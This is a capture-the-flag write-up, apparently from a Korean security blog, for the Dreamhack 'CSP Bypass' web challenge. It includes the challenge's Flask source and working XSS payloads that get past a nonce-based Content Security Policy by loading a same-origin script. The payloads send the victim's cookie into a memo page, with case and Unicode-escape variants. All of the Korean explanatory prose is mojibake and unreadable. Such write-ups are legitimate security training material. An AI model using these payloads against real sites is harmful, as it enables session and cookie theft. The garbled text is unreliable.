๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_ClientSide

[Dreamhack] Level2: CSP Bypass

by Yun2๐Ÿ‘ 2023. 11. 18.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

Exercise: XSS Filtering Bypass์˜ ํŒจ์น˜๋œ ๋ฌธ์ œ์ด๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.after_request
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    nonce = os.urandom(16).hex()
    return response


@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

 

 

#1


1) '/' ํŽ˜์ด์ง€

: vuln(xss) page, memo, flag ํŽ˜์ด์ง€๋กœ ์ ‘์†ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

2) '/vuln' ํŽ˜์ด์ง€

: ์ž…๋ ฅํ•œ ๊ฐ’์ด ํ™”๋ฉด์— ์ถœ๋ ฅ๋œ๋‹ค.

: parm์ด๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ด์šฉํ•˜์—ฌ /vuln?param=<script>alert(1)</script> ํ•ด๋‹น ๊ฐ’์„ ์ž…๋ ฅํ•˜์˜€๋”๋‹ˆ ์ •์ƒ์ ์ธ script ๋ฐ˜์‘์„ ํ™•์ธํ•  ์ˆ˜ ์—†๊ณ , ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ด์Šˆ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: XSS ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜์˜€์œผ๋‚˜ CSP(Content Security Policy) ๋ฐฉ์–ด ์ •์ฑ…์— ์˜ํ•ด ๋™์ž‘ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

3) '/memo' ํŽ˜์ด์ง€

: ์ž‘์„ฑํ•œ ๋ฉ”๋ชจ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

: memo๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ด์šฉํ•˜์—ฌ /memo?memo=hello ํ•ด๋‹น ๊ฐ’์„ ์ž…๋ ฅํ•˜์˜€๋”๋‹ˆ hello๋ผ๋Š” ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

4) '/flag' ํŽ˜์ด์ง€

: ์ „๋‹ฌ๋œ URL์— ์ž„์˜ ์ด์šฉ์ž๊ฐ€ ์ ‘์†ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค. ('/flag' ํŽ˜์ด์ง€๋ฅผ ํ™œ์šฉํ•˜์—ฌ ํ•ด๋‹น ์ด์šฉ์ž์˜ ์ฟ ํ‚ค์—์„œ flag๋ฅผ ํš๋“)

 

 

#2


vuln:1 Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-d3ce962dfbb8223ac7119374fd71e621'". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.

: CSP(Content Security Policy)๋ฐฉ์–ด ์ •์ฑ…์ด ์–ด๋–ป๊ฒŒ ์ ์šฉ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

 

>  script-src 'self' 'nonce-{nonce}’

: ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ ๊ด€๋ จ ๊ถŒํ•œ๊ณผ ์ถœ์ฒ˜๋ฅผ ์ œ์–ด, ํŽ˜์ด์ง€์˜ ํ˜„์žฌ ์ถœ์ฒ˜ ๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋งŒ ํ—ˆ์šฉ, nonce ์†์„ฑ์„ ์„ค์ •ํ•˜์—ฌ ์˜ˆ์™ธ์  ์ธ๋ผ์ธ ์ฝ”๋“œ ์‚ฌ์šฉ

> style-src 'self' 'unsafe-inline’

: ์Šคํƒ€์ผ ์‹œํŠธ ๊ด€๋ จ ๊ถŒํ•œ๊ณผ ์ถœ์ฒ˜ ์ œ์–ด, ํŽ˜์ด์ง€์˜ ํ˜„์žฌ ์ถœ์ฒ˜ ๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋งŒ ํ—ˆ์šฉ, ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ์˜ ์‚ฌ์šฉ ํ—ˆ์šฉ

 

 

#3


http://host3.dreamhack.games:12735/vuln?param=<script src='/vuln?param=alert(document.cookie)'></script>

: script-src์˜ nonce ๊ฐ’์„ ์•Œ๋ฉด script๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋‚˜, nonce(์ž„์˜๋กœ ์ƒ์„ฑ๋˜๋Š” ์•”ํ˜ธํ™” ํ† ํฐ)๋Š” ๊ฐ’ ์˜ˆ์ธก์ด ํž˜๋“ค์–ด ๋ณด์ด๋ฏ€๋กœ self ์ถœ์ฒ˜๋ฅผ ์œ„๋ฐ˜ํ•˜์ง€ ์•Š๋Š” ์„ ์—์„œ unsafe-inline์„ ํ™œ์šฉํ•˜๋ฉด script ๋ฐ˜์‘์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


# '+' %2b๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ์Šคํฌ๋ฆฝํŠธ ๋ถ€๋ถ„์ด ๋‘ ๋‹จ๊ณ„๋ฅผ ๊ฑฐ์ณ ํŒŒ๋ผ๋ฏธํ„ฐ ํ•ด์„์ด ๋˜๊ธฐ ๋•Œ๋ฌธ์— URL Decoding๋˜์–ด ๊ณต๋ฐฑ ํ•ด์„๋˜์ง€ ์•Š๋„๋ก ์‚ฌ์šฉํ•จ
<script src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></script>

# Unicode escape sequence๋ฅผ ์ด์šฉํ•œ xss ์šฐํšŒ ๊ณต๊ฒฉ(CSP Bypass 'unsafe-inline')
<script src="/vuln?param=locatio\u006E.href='/memo?memo='%2bdocument.cookie"></script>

# ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ์ด์šฉํ•œ xss ์šฐํšŒ ๊ณต๊ฒฉ(CSP Bypass 'unsafe-inline')
<ScRiPt src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></ScRiPt >

...

: ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ CSP ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉฐ memoํŽ˜์ด์ง€์—์„œ FLAG๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

๐Ÿ“ŒSummary


์ปจํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…(CSP; Content Wecurity Policy)์€ XSS ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ํ”ผํ•ด๋ฅผ ์ตœ์†Œํ™”ํ•  ์ˆ˜ ์žˆ๋Š” ์ข‹์€ ๋ฐฉ์•ˆ์ด๋‚˜ XSS ๊ณต๊ฒฉ์„ ์™„์ „ ๋ฌด๋ ฅํ™” ํ•˜๋Š” ์ˆ˜๋‹จ์€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ž˜๋ชป ์‚ฌ์šฉ ๋ฐ ์šฐํšŒ๊ฐ€ ํ—ˆ์šฉ๋  ์‹œ ๋ณด์•ˆ ํ•ด๊ฒฐ์ฑ…์œผ๋กœ์จ ์—ญํ• ์ด ๋ถˆ๊ฐ€ํ•˜๊ฒŒ ๋จ

 

refer to... : https://csp-evaluator.withgoogle.com

 

- CSP(Content Security Policy, ์ปจํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…) ํ™•์ธ -

์ง€์‹œ๋ฌธ ์„ค๋ช…
https://*.example.com ์ถœ์ฒ˜์˜ ํ˜ธ์ŠคํŠธ ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (๋‹จ, ์™€์ผ๋“œ์นด๋“œ๋Š” ํ˜ธ์ŠคํŠธ์˜ ์ค‘๊ฐ„์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. i.e) https://www..com, https://.example.*
*://example.com ์ถœ์ฒ˜์˜ scheme์€ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
https://example.com:* ์ถœ์ฒ˜์˜ ํฌํŠธ๋Š” ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
none ๋ชจ๋“  ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
self ํŽ˜์ด์ง€์˜ ํ˜„์žฌ ์ถœ์ฒ˜ (Origin) ๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋งŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
unsafe-inline ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค
unsafe-eval ์˜ˆ์™ธ์ ์œผ๋กœ eval๊ณผ ๊ฐ™์€ ํ…์ŠคํŠธ-์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ณ€ํ™˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค
nonce-<base64-value> nonce ์†์„ฑ์„ ์„ค์ •ํ•˜์—ฌ ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. <base64-value> ๋Š” ๋ฐ˜๋“œ์‹œ ์š”์ฒญ๋งˆ๋‹ค ๋‹ค๋ฅธ ๋‚œ์ˆ˜ ๊ฐ’์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์„ค์ •ํ•˜๋ฉด unsafe-inline ์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.
<hash-algorithm>-<base64-value> script ํ˜น์€ style ํƒœ๊ทธ ๋‚ด ์ฝ”๋“œ์˜ ํ•ด์‹œ๋ฅผ ํ‘œํ˜„ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์„ค์ •ํ•˜๋ฉด unsafe-inline ์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.
...  

 

์ถœ์ฒ˜ ์„ค๋ช…
https://*.example.com ์ถœ์ฒ˜์˜ ํ˜ธ์ŠคํŠธ ์„œ๋ธŒ๋„๋ฉ”์ธ์€ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (๋‹จ, ์™€์ผ๋“œ์นด๋“œ๋Š” ํ˜ธ์ŠคํŠธ์˜ ์ค‘๊ฐ„์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. i.e) https://www.*.com, https://*.example.*
*://example.com ์ถœ์ฒ˜์˜ scheme์€ ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
https://example.com:* ์ถœ์ฒ˜์˜ ํฌํŠธ๋Š” ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ด์šฉํ•ด ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
none ๋ชจ๋“  ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
self ํŽ˜์ด์ง€์˜ ํ˜„์žฌ ์ถœ์ฒ˜ (Origin) ๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋งŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
unsafe-inline ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค
unsafe-eval ์˜ˆ์™ธ์ ์œผ๋กœ eval๊ณผ ๊ฐ™์€ ํ…์ŠคํŠธ-์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ณ€ํ™˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค
nonce-<base64-value> nonce ์†์„ฑ์„ ์„ค์ •ํ•˜์—ฌ ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. <base64-value> ๋Š” ๋ฐ˜๋“œ์‹œ ์š”์ฒญ๋งˆ๋‹ค ๋‹ค๋ฅธ ๋‚œ์ˆ˜ ๊ฐ’์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์„ค์ •ํ•˜๋ฉด unsafe-inline ์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.
<hash-algorithm>-<base64-value> script ํ˜น์€ style ํƒœ๊ทธ ๋‚ด ์ฝ”๋“œ์˜ ํ•ด์‹œ๋ฅผ ํ‘œํ˜„ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์„ค์ •ํ•˜๋ฉด unsafe-inline ์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.
...  
๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_ClientSide' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level3: CSP Bypass Advanced  (0) 2024.01.17
[Dreamhack] Level3: XSS Filtering Bypass Advanced  (0) 2023.09.02
[Dreamhack] Level1: XSS Filtering Bypass  (0) 2023.08.28